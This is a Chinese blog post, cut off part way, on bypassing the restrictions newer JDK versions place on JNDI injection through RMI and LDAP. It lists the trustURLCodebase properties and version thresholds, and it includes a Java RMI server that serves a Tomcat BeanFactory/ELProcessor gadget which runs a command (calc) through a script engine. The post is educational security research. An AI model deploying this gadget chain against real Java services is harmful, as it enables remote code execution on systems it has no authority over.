Bypass JNDI高版本限制

本文详细介绍了如何绕过JNDI利用RMI和LDAP的高版本限制。通过分析JNDI利用RMI的原理,揭示了RMI Client在找不到本地类时会从远程加载,从而可以通过特定类的动态方法调用来执行任意代码。同时,讨论了JNDI利用LDAP的反序列化漏洞,说明了如何构造恶意LDAP Server返回数据来实现远程代码执行。提供了调试和学习的相关资源。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Bypass JNDI高版本限制

老早就知道 JNDI 注入存在高版本限制且有相应的绕过手法了,今天来分析分析绕过高版本限制的两种手法!

前景知识

JNDI 利用 RMI 的版本限制

JNDI 利用 RMI 的版本限制在 com.sun.jndi.rmi.registry.trustURLCodebase/com.sun.jndi.cosnaming.trustURLCodebase 这两个属性上,也就是网上说的 com.sun.jndi.rmi.object.trustURLCodebase/com.sun.jndi.cosnaming.object.trustURLCodebase ,在 JDK 6u132/JDK 7u122/JDK 8u113 以上的版本中这些属性默认为 false ,也就是默认不允许从远程服务器上加载 Reference 的工厂类!

对属性值的检验在 RegistryContext#decodeObject 方法上

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VJaFpaqE-1642250776250)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102161851785.png)]

JNDI 利用 LDAP 的版本限制

JNDI 利用 LDAP 的版本限制在 com.sun.jndi.ldap.VersionHelper12 属性上,也就是网上说的 com.sun.jndi.ldap.object.trustURLCodebase ,在 JDK 11.0.1/JDK 8u191/JDK 7u201/JDK 6u211 以上的版本这些属性默认为 false,也就是默认不允许从远程服务器上加载 Reference 的工厂类!

对属性值的检验在 com.sun.naming.internal#loadClass 方法上

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VOcx1ISo-1642250776256)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20220102162459852.png)]

JNDI 利用 RMI 实现 Bypass 高版本限制

仔细分析过 JNDI 利用 RMI 的师傅都知道从 RMI Server 中获取到一个 Reference 之后,会先从本地 Classpath 中加载对应的类,如果找不到才从 Reference.classFactoryLocation 中远程加载对应的类!找到对应类之后通过 Class.forName(className,true) 获取 Class,并实例化后强制转换为 ObjectFactory 类然后调用 ObjectFactory.getObjectInstance 方法!所以我们的恶意代码可以放在 静态代码块/构造方法/getObjectInstance方法中

RMI Server

package com.rmi.server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServerBypass2 {
   
    public static void main(String[] args) throws Exception{
   
        Registry registry = LocateRegistry.createRegistry(8999);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "KINGX=eval"));
        ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));

        ReferenceWrapper referenceWrapper =
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值